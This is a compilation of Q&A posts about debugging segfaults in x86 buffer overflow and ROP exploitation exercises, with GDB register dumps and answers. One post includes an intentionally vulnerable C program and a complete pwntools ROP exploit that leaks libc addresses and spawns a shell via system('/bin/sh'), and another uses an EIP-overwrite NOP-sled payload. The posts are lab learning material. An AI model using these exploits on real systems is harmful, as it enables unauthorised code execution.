I try an basic buffer overflow, i overwrite the saved EIP on the stack an jump on to the adress. This adress point to à shell variable who containt my shellcode.
But on gdb, program sigserv on the first nop on the nopslide.
I lauch th program like this command:
gdb-peda$ r $(python -c 'print "A"*22 + "\x5f\xb8\xff\xff"')
I have this trace:
[----------------------------------registers-----------------------------------]
EAX: 0x1a
EBX: 0xf7fc3ff4 --> 0x15dd7c
ECX: 0xffffaf38 --> 0xf7fc44e0 --> 0xfbad2a84
EDX: 0xf7fc5360 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffaf80 --> 0xffffb100 --> 0xc ('\x0c')
EIP: 0xffffb85f --> 0x90909090
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffb85c: nop
0xffffb85d: nop
0xffffb85e: nop
=> 0xffffb85f: nop
0xffffb860: nop
0xffffb861: nop
0xffffb862: nop
0xffffb863: nop
[------------------------------------stack-------------------------------------]
0000| 0xffffaf80 --> 0xffffb100 --> 0xc ('\x0c')
0004| 0xffffaf84 --> 0xf7fef060 (push ebp)
0008| 0xffffaf88 --> 0x80484bb (<__libc_csu_init+11>: add ebx,0x1219)
0012| 0xffffaf8c --> 0xf7fc3ff4 --> 0x15dd7c
0016| 0xffffaf90 --> 0x80484b0 (<__libc_csu_init>: push ebp)
0020| 0xffffaf94 --> 0x0
0024| 0xffffaf98 --> 0xffffb018 --> 0x0
0028| 0xffffaf9c --> 0xf7e7ce46 (<__libc_start_main+230>: mov DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffb85f in ?? ()
gdb-peda$ x/i $eip
=> 0xffffb85f: nop
I run on debian wheezy, gcc version is gcc (Debian 4.7.2-4) 4.7.2, gdb version 7.4.1-debian.
Is an new protection on this gcc version? Or other think?
Thanks you. (Sorry for my english :))
You can remove stack protection by following any of these steps:
Illustration of buffer overflows for students (linux, C)
Related
I am currently applying (learning purpose) this tutorial about a ROP-based buffer overflow inside my Kali VM, however I'm unable to reproduce the same behavior and get a shell.
I'm currently debugging with Peda GDB and have seen strange things such as a SIGSEGV fault.
I'm a beginner and don't feel comfortable with some points:
Does my EIP during the SIGSEGV is correct ? It looks like to be not in vmmap ranges (0x7... instead of 0x8...).
Moreover "Leak scanf" has a strange value interpreted as string "JHmp".
Why there are values in my stack between gadget_pop_ebx and /bin/bash instead of just padding+leak_system+gadget_pop_ebx+leak_binsh?
In comments someone said he had an issue with scanf interpreting space 0x20, but after checking address I think I'm not concerned. Just maybe "Leak scanf" has 0x0a in the address could generate an error?
Could you help me to understand why it doesn't work?
I have attached screenshots with values of the stack, registers, etc. to help your understanding (The GDB break is located to the RET of vuln() function to follow the ROP chain with the overwriting of "saved eip").
Update 2 - It works fine now:
I have updated my libc and now it works, but I'm still interested if someone found why it didn't work before update?
Breakpoint 1, 0x080491b1 in vuln ()
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x41414141 ('AAAA')
ECX: 0xf7f2d380 --> 0x20002
EDX: 0xf7fa1000 --> 0x1ead6c
ESI: 0x1
EDI: 0x8049060 (<_start>: xor ebp,ebp)
EBP: 0x41414141 ('AAAA')
ESP: 0xffe2b79c --> 0xf7dfad00 (<system>: call 0xf7efb1ed)
EIP: 0x80491b1 (<vuln+63>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491ac <vuln+58>: nop
0x80491ad <vuln+59>: mov ebx,DWORD PTR [ebp-0x4]
0x80491b0 <vuln+62>: leave
=> 0x80491b1 <vuln+63>: ret
0x80491b2 <main>: push ebp
0x80491b3 <main+1>: mov ebp,esp
0x80491b5 <main+3>: and esp,0xfffffff0
0x80491b8 <main+6>: call 0x80491ce <__x86.get_pc_thunk.ax>
[------------------------------------stack-------------------------------------]
0000| 0xffe2b79c --> 0xf7dfad00 (<system>: call 0xf7efb1ed)
0004| 0xffe2b7a0 --> 0x804901e (<_init+30>: pop ebx)
0008| 0xffe2b7a4 --> 0xf7f45c42 ("/bin/sh")
0012| 0xffe2b7a8 --> 0x41414100 ('')
0016| 0xffe2b7ac --> 0xf7dd4900 (<__libc_start_main+224>: and al,0x80)
0020| 0xffe2b7b0 --> 0x1
0024| 0xffe2b7b4 --> 0xffe2b854 --> 0xffe2c3c5 ("./testrop")
0028| 0xffe2b7b8 --> 0xffe2b85c --> 0xffe2c3cf ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491b1 in vuln ()
As you can see the stack is now good with the ROP chain and indeed i got a shell after.
Update 1 - Code added:
Vulnerable code:
#include <stdlib.h>
#include <stdio.h>
void vuln()
{
char buffer[64];
printf("Input: \n");
scanf("%s",buffer);
}
int main(int argc, char **argv)
{
vuln();
}
Expoit Code:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386')
p = 0
b = ELF('./testrop')
libc = ELF('/lib/i386-linux-gnu/libc.so.6') # "info sharedlibrary" sous gdb pour connaître le chemin de votre libc
DEBUG = True
def wait(until):
buf=p.recvuntil(until)
if(DEBUG):
print buf
return buf
def start():
global p, libc, b
if p is not 0:
p.close()
p=gdb.debug('./testrop', '''
break *0x080491b1
c
c
''')
#p=process(["strace","-o","strace.out","./testrop"])
wait("Input:")
# pwntools permet de récupérer les adresses directement dans le binaire sans avoir à les chercher via objdump :
addrmain = b.symbols['main']
pr = 0x0804901e # pop ebx ; ret
gotscanf = b.symbols['got.__isoc99_scanf']
pltputs = b.symbols['puts']
padding="A"*76
start()
log.info("Construct ropchain")
log.info("Leak got pltputs: "+str(hex(pltputs)))
log.info("Leak gotscanf: "+str(hex(gotscanf)))
log.info("Leak main: "+str(hex(addrmain)))
log.info("Get shell")
ropchain=padding+p32(pltputs)+p32(pr)+p32(gotscanf)+p32(addrmain)
log.info("Get scanf leak")
p.sendline(ropchain)
leak=wait('Input:')
leak_scanf = u32(leak[2:6])
leak_system = leak_scanf - libc.symbols['__isoc99_scanf'] + libc.symbols['system']
leak_binsh = leak_scanf - libc.symbols['__isoc99_scanf'] +next(libc.search('/bin/sh\x00'))
log.info("Leak got scanf: "+str(hex(leak_scanf)))
log.info("Leak system: "+str(hex(leak_system)))
log.info("Leak /bin/sh: "+str(hex(leak_binsh)))
log.info("Get shell")
ropchain=padding+p32(leak_system)+p32(pr)+p32(leak_binsh)
p.sendline(ropchain)
# Interactive shell
p.interactive()
Exploit script started:
kali#kali:~/Scripts/ROP$ python exploit.py
[*] '/home/kali/Scripts/ROP/testrop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/usr/bin/gdbserver': pid 42163
[*] running in new terminal: ['/usr/bin/gdb', '-q', './testrop', '-x', '/tmp/pwngybPZs.gdb']
Input:
[*] Construct ropchain
[*] Leak got pltputs: 0x8049030
[*] Leak gotscanf: 0x804c014
[*] Leak main: 0x80491b2
[*] Get shell
[*] Get scanf leak
�_��
Input:
[*] Leak got scanf: 0xf7d45fd0
[*] Leak system: 0xf7d35d00
[*] Leak /bin/sh: 0xf7e80c42
GDB Breakpoint:
Reading symbols from ./testrop...
(No debugging symbols found in ./testrop)
Reading /lib/ld-linux.so.2 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /lib/ld-linux.so.2 from remote target...
Reading /lib/093de31180bce97b70c3d2a419921922b3e708.debug from remote target...
Reading /lib/.debug/093de31180bce97b70c3d2a419921922b3e708.debug from remote target...
Reading /usr/lib/debug//lib/093de31180bce97b70c3d2a419921922b3e708.debug from remote target...
Reading /usr/lib/debug/lib//093de31180bce97b70c3d2a419921922b3e708.debug from remote target...
Reading target:/usr/lib/debug/lib//093de31180bce97b70c3d2a419921922b3e708.debug from remote target...
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffce1000 --> 0x1
EIP: 0xf7f06070 (mov eax,esp)
EFLAGS: 0x200 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7f06064: lea esi,[esi+eiz*1+0x0]
0xf7f0606b: lea esi,[esi+eiz*1+0x0]
0xf7f0606f: nop
=> 0xf7f06070: mov eax,esp
0xf7f06072: sub esp,0xc
0xf7f06075: push eax
0xf7f06076: call 0xf7f06dc0
0xf7f0607b: add esp,0x10
[------------------------------------stack-------------------------------------]
0000| 0xffce1000 --> 0x1
0004| 0xffce1004 --> 0xffce13c5 ("./testrop")
0008| 0xffce1008 --> 0x0
0012| 0xffce100c --> 0xffce13cf ("SHELL=/bin/bash")
0016| 0xffce1010 --> 0xffce13df ("SESSION_MANAGER=local/kali:#/tmp/.ICE-unix/819,unix/kali:/tmp/.ICE-unix/819")
0020| 0xffce1014 --> 0xffce142b ("WINDOWID=0")
0024| 0xffce1018 --> 0xffce1436 ("QT_ACCESSIBILITY=1")
0028| 0xffce101c --> 0xffce1449 ("COLORTERM=truecolor")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xf7f06070 in ?? () from target:/lib/ld-linux.so.2
Breakpoint 1 at 0x80491b1
Reading /lib/i386-linux-gnu/libc.so.6 from remote target...
Reading /lib/i386-linux-gnu/dadb99b149405fa7330a0e08569295b4e91517.debug from remote target...
Reading /lib/i386-linux-gnu/.debug/dadb99b149405fa7330a0e08569295b4e91517.debug from remote target...
Reading /usr/lib/debug//lib/i386-linux-gnu/dadb99b149405fa7330a0e08569295b4e91517.debug from remote target...
Reading /usr/lib/debug/lib/i386-linux-gnu//dadb99b149405fa7330a0e08569295b4e91517.debug from remote target...
Reading target:/usr/lib/debug/lib/i386-linux-gnu//dadb99b149405fa7330a0e08569295b4e91517.debug from remote target...
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x41414141 ('AAAA')
ECX: 0xf7e68380 --> 0x20002
EDX: 0xf7edc000 --> 0x1ead6c
ESI: 0x1
EDI: 0x8049060 (<_start>: xor ebp,ebp)
EBP: 0x41414141 ('AAAA')
ESP: 0xffce0f4c --> 0x8049030 (<puts#plt>: jmp DWORD PTR ds:0x804c00c)
EIP: 0x80491b1 (<vuln+63>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491ac <vuln+58>: nop
0x80491ad <vuln+59>: mov ebx,DWORD PTR [ebp-0x4]
0x80491b0 <vuln+62>: leave
=> 0x80491b1 <vuln+63>: ret
0x80491b2 <main>: push ebp
0x80491b3 <main+1>: mov ebp,esp
0x80491b5 <main+3>: and esp,0xfffffff0
0x80491b8 <main+6>: call 0x80491ce <__x86.get_pc_thunk.ax>
[------------------------------------stack-------------------------------------]
0000| 0xffce0f4c --> 0x8049030 (<puts#plt>: jmp DWORD PTR ds:0x804c00c)
0004| 0xffce0f50 --> 0x804901e (<_init+30>: pop ebx)
0008| 0xffce0f54 --> 0x804c014 --> 0xf7d45fd0 (<__isoc99_scanf>: call 0xf7e361e9)
0012| 0xffce0f58 --> 0x80491b2 (<main>: push ebp)
0016| 0xffce0f5c --> 0xf7d0f900 (<__libc_start_main+224>: and al,0x80)
0020| 0xffce0f60 --> 0x1
0024| 0xffce0f64 --> 0xffce1004 --> 0xffce13c5 ("./testrop")
0028| 0xffce0f68 --> 0xffce100c --> 0xffce13cf ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491b1 in vuln ()
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x41414141 ('AAAA')
ECX: 0xf7e68380 --> 0x20002
EDX: 0xf7edc000 --> 0x1ead6c
ESI: 0x1
EDI: 0x8049060 (<_start>: xor ebp,ebp)
EBP: 0x41414141 ('AAAA')
ESP: 0xffce0f4c --> 0xf7d35d00 (<system>: call 0xf7e361ed)
EIP: 0x80491b1 (<vuln+63>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491ac <vuln+58>: nop
0x80491ad <vuln+59>: mov ebx,DWORD PTR [ebp-0x4]
0x80491b0 <vuln+62>: leave
=> 0x80491b1 <vuln+63>: ret
0x80491b2 <main>: push ebp
0x80491b3 <main+1>: mov ebp,esp
0x80491b5 <main+3>: and esp,0xfffffff0
0x80491b8 <main+6>: call 0x80491ce <__x86.get_pc_thunk.ax>
[------------------------------------stack-------------------------------------]
0000| 0xffce0f4c --> 0xf7d35d00 (<system>: call 0xf7e361ed)
0004| 0xffce0f50 --> 0x804901e (<_init+30>: pop ebx)
0008| 0xffce0f54 --> 0x8040042
0012| 0xffce0f58 ("AAAA")
0016| 0xffce0f5c --> 0xf7d0f900 (<__libc_start_main+224>: and al,0x80)
0020| 0xffce0f60 --> 0x1
0024| 0xffce0f64 --> 0xffce1004 --> 0xffce13c5 ("./testrop")
0028| 0xffce0f68 --> 0xffce100c --> 0xffce13cf ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491b1 in vuln ()
Exploit Python code:
Disassembler RET:
Protections:
SIGSEGV:
Please let me know if there is more information I need to enter. The stackexchange robot seems to think there is not enough of it here.
The below stack trace is generated as a result of a an invalid callback pointer. I'd like to understand where the callback occurred in the code. I know how to do this in MIPS, but not in Intel architecture.
I get the following backtrace on sigsegv:
(gdb) bt
#0 0x000000361f20cc5a in ?? ()
Cannot access memory at address 0x7f382f1e1810
(gdb)
When I try to disassemble I get:
(gdb) disassemble
No function contains program counter for selected frame.
(gdb) info reg
rax 0x7f2bf3fb8790 139826753669008
rbx 0x7f3200197520 139852726760736
rcx 0x7f3200197540 139852726760768
rdx 0x0 0
rsi 0x7f2bf3fb87b0 139826753669040
rdi 0x0 0
rbp 0x7f2bf3fb87b0 0x7f2bf3fb87b0
rsp 0x7f382f1e1810 0x7f382f1e1810
r8 0x20000 131072
r9 0x453d780 72603520
r10 0x27 39
r11 0x7f2dcbfa9ec8 139834672455368
r12 0x7f2bf3fb87b0 139826753669040
r13 0x7f3196fd2790 139850963298192
r14 0x7f2c080008c0 139827089508544
r15 0xfffffffffffffe68 -408
rip 0x361f20cc5a 0x361f20cc5a
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
Processor information:
Intel(R) Xeon(R) CPU E5-2658A v3 # 2.20GHz
If I restart Asterisk, about 10 core dumps appear in /tmp directory, all with the same crash. Executing ps -ef manually does not reproduce crash.
gdb output:
Core was generated by `ps -ef'.
Program terminated with signal 11, Segmentation fault.
#0 reset_global () at ps/global.c:362
362 look_up_our_self(&p);
(gdb)
Disassmble:
0x0000000000403040 <+0>: push %rbp
0x0000000000403041 <+1>: mov $0xdeadbeef,%eax
0x0000000000403046 <+6>: push %rbx
0x0000000000403047 <+7>: sub $0x80028,%rsp
0x000000000040304e <+14>: mov 0x21147b(%rip),%rbx # 0x6144d0 <selection_list>
0x0000000000403055 <+21>: cmp %rax,%rbx
0x0000000000403058 <+24>: je 0x403084 <reset_global+68>
0x000000000040305a <+26>: test %rbx,%rbx
0x000000000040305d <+29>: jne 0x40306b <reset_global+43>
0x000000000040305f <+31>: jmp 0x403084 <reset_global+68>
0x0000000000403061 <+33>: nopl 0x0(%rax)
0x0000000000403068 <+40>: mov %rbp,%rbx
0x000000000040306b <+43>: mov 0x8(%rbx),%rdi
0x000000000040306f <+47>: mov (%rbx),%rbp
0x0000000000403072 <+50>: callq 0x4017e8 <free#plt>
0x0000000000403077 <+55>: mov %rbx,%rdi
0x000000000040307a <+58>: callq 0x4017e8 <free#plt>
0x000000000040307f <+63>: test %rbp,%rbp
0x0000000000403082 <+66>: jne 0x403068 <reset_global+40>
0x0000000000403084 <+68>: lea 0x80010(%rsp),%rbx
0x000000000040308c <+76>: mov $0x634680,%edi
0x0000000000403091 <+81>: movq $0x0,0x211434(%rip) # 0x6144d0 <selection_list>
=> 0x000000000040309c <+92>: callq 0x401908 <look_up_our_self#plt>
0x00000000004030a1 <+97>: xor %eax,%eax
0x00000000004030a3 <+99>: mov %rbx,%rdx
0x00000000004030a6 <+102>: mov $0x5413,%esi
0x00000000004030ab <+107>: mov $0x1,%edi
0x00000000004030b0 <+112>: callq 0x401698 <ioctl#plt>
0x00000000004030b5 <+117>: cmp $0xffffffffffffffff,%eax
0x00000000004030b8 <+120>: je 0x4032e0 <reset_global+672>
...
What is this: 0x0000000000403041 <+1>: mov $0xdeadbeef,%eax ?
info registers:
(gdb) info registers
rax 0xdeadbeef 3735928559
rbx 0x7849d15d9e60 132258440519264
rcx 0x0 0
rdx 0x0 0
rsi 0x7849d15d9de0 132258440519136
rdi 0x634680 6506112
rbp 0x0 0x0
rsp 0x7849d1559e50 0x7849d1559e50
r8 0x0 0
r9 0xff3212ff2a1f09ff -57962958069757441
r10 0x8 8
r11 0x206 518
r12 0x2 2
r13 0x7849d15da0a8 132258440519848
r14 0x0 0
r15 0x0 0
rip 0x40309c 0x40309c <reset_global+92>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
System info:
3.14.32-xxxx-grs-ipv6-64 #7 SMP Wed Jan 27 18:05:09 CET 2016 x86_64 x86_64 x86_64 GNU/Linux
rpm -qa | grep glibc
glibc-2.12-1.166.el6_7.7.x86_64
glibc-debuginfo-common-2.12-1.166.el6_7.7.x86_64
glibc-headers-2.12-1.166.el6_7.7.x86_64
glibc-2.12-1.166.el6_7.7.i686
glibc-common-2.12-1.166.el6_7.7.x86_64
glibc-debuginfo-2.12-1.166.el6_7.7.x86_64
glibc-devel-2.12-1.166.el6_7.7.x86_64
I am not sure how to proceed from here, tried to reinstall Linux from scratch but getting same result.
=> 0x000000000040309c <+92>: callq 0x401908 <look_up_our_self#plt>
It is somewhat unusual for a program to die on CALL (or PUSH) instruction, and whenever that happens, it's almost guaranteed that you have a stack overflow. Further,
0x0000000000403047 <+7>: sub $0x80028,%rsp
this function requires half MiB of stack, which is also quite unusual, and large. Looking at the rest of disassembly, if JE at 0x403058 was taken, then CALL at 0x40309c would be the first instruction trying to push something onto stack after the large decrement.
Conclusion: the environment in which Asterix executes ps -ef has a uimit -s that is set too small.
What is this: 0x0000000000403041 <+1>: mov $0xdeadbeef,%eax ?
The code compares %RAX with selection_list. The 0xdeadbeef is clearly a sentinel value.
I'm writing some ROP exploit code that calls mprotect via a syscall, after invoking int 0x80 eax is set to 0x0 indicating a success. Shifting execution to the target address still results in a SIGSEGV. I would love for someone to show me where I go wrong.
Some details, target address is the .data section, this is where I'll be writing by shellcode to:
[20] 0x8146820->0x814c2b8 at 0x000fd820: .data ALLOC LOAD DATA HAS_CONTENTS
I set eax to 125, ebx to the page boundary 0x8146000, ecx to 0x1000 (4096 page size) and edx to 0x7 (RWX).
Just before the syscall the registers look like this:
eax 0x7d 125
ecx 0x1000 4096
edx 0x7 7
ebx 0x8146000 135553024
esp 0xbffff2b0 0xbffff2b0
ebp 0x8d0e0f0 0x8d0e0f0
esi 0x804fb85 134544261
edi 0x43434343 1128481603
eip 0x80c0182 0x80c0182 <mprotect+18>
eflags 0x202 [ IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) disas $eip, $eip+20
Dump of assembler code from 0x80c0182 to 0x80c0196:
=> 0x080c0182 <mprotect+18>: int $0x80
0x080c0184 <mprotect+20>: pop %ebx
0x080c0185 <mprotect+21>: cmp $0xfffff001,%eax
0x080c018a <mprotect+26>: jae 0x80c7d80 <__syscall_error>
0x080c0190 <mprotect+32>: ret
and after the syscall the registers are:
(gdb) si
0x080c0184 in mprotect ()
(gdb) i r
eax 0x0 0
ecx 0x1000 4096
edx 0x7 7
ebx 0x8146000 135553024
esp 0xbffff2b0 0xbffff2b0
ebp 0x8d0e0f0 0x8d0e0f0
esi 0x804fb85 134544261
edi 0x43434343 1128481603
eip 0x80c0184 0x80c0184 <mprotect+20>
eflags 0x202 [ IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
However the memory location does not show a change in permissions and attempting to execute instructions there terminates the application:
(gdb) x/4x 0x8146820
0x8146820: 0x00000000 0x00000000 0x08146154 0x0000ea60
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08146820 in data_start ()
Any suggestions on how/what to debug or what I'm doing wrong are welcome.
Edit
I ran it under strace without the debugger attached, seems like the mprotect call is a success, yet execution fails:
stat64("/etc/localtime", {st_mode=S_IFREG|0644, st_size=2197, ...}) = 0
mprotect(0x8146000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0} ---
+++ killed by SIGSEGV (core dumped) +++
Confirming crash address from core:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x08146820 in data_start ()
Your mprotect call worked. The program crashes because 0x8146820 holds
0x0000, which disassembles to add [eax], al, and eax holds zero. But address 0 is not mapped. (That's why the segfault is at si_addr=0)
I'm having a problem with GDB. I'm studying buffer overflow right now and I need to run the command $Info reg to find information about ebp, eip and esp but I get no results from any of them. I tried out Info reg $name with each one of them but only ebp works.
Basicly this is what happens:
(gdb) i r
rax 0x7fffffffe180 140737488347520
rbx 0x0 0
rcx 0x7fffffffe570 140737488348528
rdx 0x7fffffffe1a6 140737488347558
rsi 0x6 6
...
...
...
es 0x0 0
fs 0x0 0
---Type <return> to continue, or q <return> to quit---+
gs 0x0 0
and
(gdb) info reg $ebp
ebp 0x41414141 1094795585
but
(gdb) info reg $eip
Invalid register `eip'
How can I get the values to these parts of memory?
there is no reg called eip in amd64 arch
let me show what is bp/ebp/rbp, a data register contains 64 bits on amd64 arch:
64 ---------------------------- 32 ---------- 16 ---- 8 ---- 0
| <--------------------------- rbp ------------------------> |
| <--------- ebp ---------> |
| <--- bp --> |
so you can access corresponding bits by different name.
but you always access rip as a whole word, because there is no reason to access the lower bits of instruction pointer, as a result, there aro no eip/ip registers in amd64 arch